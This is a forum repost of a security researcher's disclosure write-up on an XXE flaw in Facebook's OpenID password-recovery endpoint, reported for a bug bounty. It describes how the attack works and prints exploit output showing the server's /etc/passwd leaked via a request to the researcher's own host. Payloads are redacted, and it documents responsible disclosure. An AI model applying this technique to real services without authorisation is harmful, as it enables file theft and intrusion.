Welcome Guest! To enable all features please try to register or login.
Go to last post Go to first unread
Offline Dr-Hack  
#1 Posted : Thursday, January 23, 2014 7:15:00 PM(UTC)

Rank: Administrator
Medals: Hackology Founder: This medal is earned by the Founders of Hackogy

Joined: 1/15/2005(UTC)
Posts: 1,318

Thanks: 22 times
Was thanked: 73 time(s) in 57 post(s)

You Read it Correct - We have a guy who Hacked Facebook and FaceBook paid him $33,500 for reporting The Bug.

Below is the Detailed Article of Reginaldo Silva, How He Hacked Facebook

reginaldo.jpg @ Userbar | Free Image Hosting

Hi, since I don't write much, let me first introduce myself. My name is Reginaldo Silva and I'm a brazilian computer engineer. These days I work mostly with information security, with a special interest in Web Application Security. I.E. if you let me, I'll find ways to hack into your site or application, hopefully before the bad guys do.

Today I want to share a tale about how I found a Remote Code Execution bug affecting Facebook. Like all good tales, the beginning was a long time ago (actually, just over a year, but I measure using Internet Time, so bear with me).

September 22nd, 2012 was a very special day for me, because it was the day I found a XML External Entity Expansion bug affecting the part of Drupal that handled OpenID. XXEs are very nice. They allow you to read any files on the filesystem, make arbitrary network connections, and just for the kicks you can also DoS the server with the billion laughs attack.

I was so naive at the time that I didn't even bother to check if anyone else was vulnerable. I reported it immediately. I wanted to start putting CVEs on my resume as soon as possible, and this would be the first (it eventually got CVE-2012-4554 assigned to it). Only five days later it occurred to me that OpenID was pretty heavily used and so maybe other places were vulnerable as well. I decided to check the StackOverflow login form. Indeed, it was vulnerable to the whole thing (file reading and all).

Then I decided to try to find OpenID handling code running inside Google's servers. I wasn't able to read files or open network connections, but both App Engine and Blogger were vulnerable to DoS. This is how I got my first bounty from Google, by the way. It was a US$ 500 bounty.

After reporting the bug to Google, I ran some more tests and eventually noticed that the bug I had in my hands was affecting a lot of implementations. I won't enumerate the libraries here, but let me just say that this single bug affected, in one way or another, libraries implemented in Java, C#, PHP, Ruby, Python, Perl, and then more... The only reason I'm not publishing the PoC here is that there are a lot of servers who are still vulnerable out there. Of course, the people who know about security will just read OpenID and XXE and then write an exploit in about 5 minutes, but I digress.

So after contacting (or trying to contact) every OpenID library author out there, I decided to write to the member-only security list hosted at the OpenID foundation an email titled "One bug to rule them all: many implementations of OpenID are vulnerable to XXE" to share my findings. I figured most library authors would be members of that list and so patches would be released for everyone very soon. I was right, but only partially.

The persistent readers who are still with me by now are thinking: what does a Facebook Remote Code Execution bug has to do with all this? Well, I knew Facebook allowed OpenID login in the past. However, when I first found the OpenID bug in 2012 I couldn't find any endpoint that would allow me to enter an arbitrary OpenID URL. From a Google search I knew that in the past you could do something like https://www.facebook.com/openid/consumer_helper.php?openid.mode=checkid_setup&user_claimed_id=YOUR_CLAIMED_ID_HERE&context=link&request_id=0&no_extensions=false&third_party_login=false, but now the consumer_helper.php endpoint is gone. So for more than a year I thought Facebook was not vulnerable at all, until one day I was testing Facebook's Forgot your password? functionality and saw a request to https://www.facebook.com/openid/receiver.php.

That's when I began to suspect that Facebook was indeed vulnerable to that same XXE I had found out more than a year ago. I had to work a lot to confirm this suspicion, though. Long story short, when you forget your password, one of the ways you can prove to Facebook that you own an @gmail.com account is to log into your Gmail and authorize Facebook to get your basic information (such as email and name). The way this works is you're actually logging into Facebook using your Gmail account, and this login happens over OpenID. So far, so good, but this is where I got stuck. I knew that, for my bug to work, the OpenID Relying Party (RP - Facebook) has to make a Yadis discovery request to an OpenID Provider (OP) under the attacker's control. Let's say http://www.ubercomp.com/. Then my malicious OP will send a response with the rogue XML that will then be parsed by the RP, and the XXE attack will work.

Since the initial OpenID request (a redirect from Facebook to Google) happens without my intervention, there was no place for me to actually enter an URL under my control that was my OpenID identifier and have Facebook send a Yadis Discover request to that URL. So I thought the bug would not be triggered at all, unless I could somehow get Google to send Facebook a malicious XML, which was very unlikely. Fortunately, I was wrong. After a more careful reading of the OpenID 2.0 Specification, I found this nice gem in session 11.2 - Verifying Discovered Information:


"If the Claimed Identifier was not previously discovered by the Relying Party (the "openid.identity" in the request was "http://specs.openid.net/auth/2.0/identifier_select" or a different Identifier, or if the OP is sending an unsolicited positive assertion), the Relying Party MUST perform discovery on the Claimed Identifier in the response to make sure that the OP is authorized to make assertions about the Claimed Identifier".


I checked and, indeed, the openid.identity in the request was http://specs.openid.net/auth/2.0/identifier_select. This is a very common practice, actually. So indeed after a few minutes I was able to make a request to https://www.facebook.com/openid/receiver.php that caused Facebook to perform a Yadis discovery on a URL under my control, and the response to that request would contain malicious XML. I knew I had a XXE because when I told Facebook's server to open /dev/random, the response would never come and eventually a request killer would kick in after a few minutes. But I still couldn't read any file contents. I tried everything on the XXE back of tricks (including weird combinations involving parameter entities, but nothing. I then realized I had a subtle bug on my exploit that, fixed that, and then...

$ bash exploit.sh
* About to connect() to www.facebook.com port 80 (#0)
* Trying connected
* Connected to www.facebook.com ( port 80 (#0)
> GET /openid/receiver.php?provider_id=1010459756371
&openid.mode=id_res&openid.op_endpoint=...(redacted)... HTTP/1.1
> Host: www.facebook.com
> Accept: */*
> User-Agent: Chrome
< HTTP/1.1 200 OK
< Cache-Control: private, no-cache, no-store, must-revalidate
< Expires: Sat, 01 Jan 2000 00:00:00 GMT
< P3P: CP="Facebook does not have a P3P policy. Learn why here:
< Pragma: no-cache
< X-Content-Type-Options: nosniff
< X-Frame-Options: DENY
< X-XRDS-Location: http://www.facebook.com/openid/xrds.php
< X-XSS-Protection: 0
< Set-Cookie: datr=...(redacted)...; expires=Thu, 19-Nov-2015 15:34:24 GMT;
path=/; domain=.facebook.com; httponly
< Set-Cookie: reg_ext_ref=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT;
path=/; domain=.facebook.com
< Set-Cookie: reg_fb_gate=http%3A%2F%2Fwww.facebook.com%2Fopenid%2Freceiver.php
path=/; domain=.facebook.com
< Set-Cookie: reg_fb_ref=http%3A%2F%2Fwww.facebook.com%2Fopenid%2Freceiver.php
path=/; domain=.facebook.com
< Content-Type: text/html; charset=utf-8
< X-FB-Debug: ...(redacted)...
< Date: Tue, 19 Nov 2013 15:34:24 GMT
< Transfer-Encoding: chunked
< Connection: keep-alive
<!DOCTYPE html>
<meta charset="utf-8" />
function envFlush(a) {
function b(c) {
for (var d in a) c[d] = a[d];
if (window.requireLazy) {
window.requireLazy(['Env'], b);
} else {
Env = window.Env || {};
"user": "0"
<script src="http://static.ak.fbcdn.net/rsrc.php/v2/yR/r/Bx6hq_79BTx.js" crossorigin="anonymous"></script>
<script type="text/javascript">window.Bootloader &&

<body class="Locale_en_US">
<script type="text/javascript">
"\/2NZV": {
"type": "js",
"crossOrigin": 1,
"src": "http:\/\/static.ak.fbcdn.net\/rsrc.php\/v2\/yo\/r\/CAz6i9Uu16e.js"
"GduTW": {
"type": "js",
"crossOrigin": 1,
"src": "http:\/\/static.ak.fbcdn.net\/rsrc.php\/v2\/yu\/r\/aGXWJInaxrx.js"
<script type="text/javascript">
<script type="text/javascript">

"require": [

onloadRegister_DEPRECATED(function () {
"__ar": 1,
"error": 1428005,
"errorSummary": "Error while processing response",
"errorDescription": {
"__html": " \
There was an error while processing the OpenID response. \
No matching endpoint found after discovering http:\/\/www.ubercomp.com\/...(redacted)... \
<br \/><br \/> OP Endpoint mismatch. Expected http:\/\/www.ubercomp.com\/...(redacted)..., \
got http:\/\/www.ubercomp.com\/...(REDACTED).../?x=\
root:x:0:0:root:\/root:\/bin\/bash\n \
bin:x:1:1:bin:\/bin:\/sbin\/nologin\n \
daemon:x:2:2Big Grinaemon:\/sbin:\/sbin\/nologin\n \
adm:x:3:4:adm:\/var\/adm:\/sbin\/nologin\n \
lp:x:4:7:lp:\/var\/spool\/lpd:\/sbin\/nologin\n \
sync:x:5:0:sync:\/sbin:\/bin\/sync\n \
shutdown:x:6:0:shutdown:\/sbin:\/sbin\/shutdown\n \
halt:x:7:0:halt:\/sbin:\/sbin\/halt\n \
mail:x:8:12:mail:\/var\/spool\/mail:\/sbin\/nologin\n \
uucp:x:10:14:uucp:\/var\/spool\/uucp:\/sbin\/nologin\n \
operator:x:11:0:operator:\/root:\/sbin\/nologin\n \
games:x:12:100:games:\/usr\/games:\/sbin\/nologin\n \
gopher:x:13:30:gopher:\/var\/gopher:\/sbin\/nologin\n \
ftp:x:14:50:FTP User:\/var\/ftp:\/sbin\/nologin\n \
nobody:x:99:99:Nobody:\/:\/sbin\/nologin\n \
dbus:x:81:81:System message bus:\/:\/sbin\/nologin\n \
"payload": null,
"bootloadable": {},
"ixData": []
}, 1)
* Connection #0 to host www.facebook.com left intact
* Closing connection #0

passwd-file.PNG @ Userbar | Free Image Hosting

That's right, the response contained Facebook's /etc/passwd. Now we were going somewhere. By then I knew I had found the keys to the kingdom. After all, having the ability to read (almost) any file and open arbitrary network connections through the point of view of the Facebook server, and which doesn't go through any kind of proxy was surely something Facebook wanted to avoid at any cost. But I wanted more. I wanted to escalate this to a full Remote Execution.

A lot of bug bounty programs around the web have a rule that I think is very sensible: whenever you find a bug, don't linger on messing around. Report the bug right away and the security team will consider the worst case scenario and pay accordingly. However, I didn't have much experience with the security team at Facebook and didn't know if they would consider my bug as a Remote Code Execution or not. I Since I didn't want to cause the wrong impressions, I decided I would report the bug right away, ask for permission to try to escalate it to a RCE and then work on it while it was being fixed. I figured that would be ok because most bugs take a long time to be processed, and so I had plenty of time to try to escalate to an RCE while still keeping the nice imaginary white hat I have on my head. So after writing the bug report I decided to go out and have lunch, and the plan was to continue working when I came back.

However, I was wrong again. Since this was a very critical bug, when I got back home from lunch, a quick fix was already in place. Less than two hours after the initial report was sent. Needless to say, I was very impressed and disappointed at the same time, but since I knew just how I would escalate that attack to a Remote Code Execution bug, I decided to tell the security team what I'd do to escalate my access and trust them to be honest when they tested to see if the attack I had in my mind worked or not. I'm glad I did that. After a few back and forth emails, the security team confirmed that my attack was sound and that I had indeed found a RCE affecting their servers.

So this is how the first high impact bug I ever found was the entry point for an attack that probably got one of the highest payouts of any web security bug bounty program. Plus, and more importantly, I get to brag I broke into Facebook... Nice, huh?

Join the discussion on Hacker News.


All timestamps are in GMT. I omitted a few unimportant interactions about the acknowledgements page and such.

  • 2013-11-19 3:51 pm: Initial report
  • 2013-11-19 5:37 pm: Bug acknowledged by security team member Godot
  • 2013-11-19 5:46 pm: I replied by sending a PoC to read arbitrary files
  • 2013-11-19 7:31 pm: Security team member Emrakul informed me that a short term fix was already in place and would be live in approximately 30 minutes
  • 2013-11-19 8:27 pm: I replied confirming that the bug was patched.
  • 2013-11-21 8:03 pm: Payout set. The security team informed me it was their biggest bounty payout to date.
  • 2013-11-22 2:13 am: I sent an email asking whether the security team had already considered the bug as RCE or just as a file disclosure.
  • 2013-11-23 1:17 am: Security team replied that they did not considered the attack could be escalated to RCE.
  • 2013-11-23 7:54 pm: I sent an email explaining exactly how the attack could be escalated to an RCE (with file paths, example requests and all).
  • 2013-11-24 9:23 pm: Facebook replied that my attack worked and they'd have to work around it.
  • 2013-12-03 4:45 am: Facebook informed me that the longer term fix was in place and that they'd soon have a meeting to discuss a new bounty amount
  • 2013-12-03 7:14 pm: I thanked them and said I'd cross my fingers
  • 2013-12-13 1:04 pm: I found a Bloomberg article quoting Ryan McGeehan, who managed Facebook's incident response unit, saying that "If there's a million dollar bug, we will pay it out" and asked if there was any news.
  • 2013-12-30 4:45 am: Facebook informed me that, since the bug was now considered to be RCE, the payout would be higher. I won't disclose the amount, but if you have any comments about how much you think this should be worth, please share them. Unfortunately, I didn't get even close to the one-million dollar payout cited above. In case you're wondering, I quoted Mr. McGeehan mostly as a joke.

 Check out What Facebook Bug Bounty says on the highest pay out till now and you must go and congratulate @reginaldojsf Smile


Awesome Work Smile

Rss Feed  Atom Feed
Users browsing this topic
You cannot post new topics in this forum.
You cannot reply to topics in this forum.
You cannot delete your posts in this forum.
You cannot edit your posts in this forum.
You cannot create polls in this forum.
You cannot vote in polls in this forum.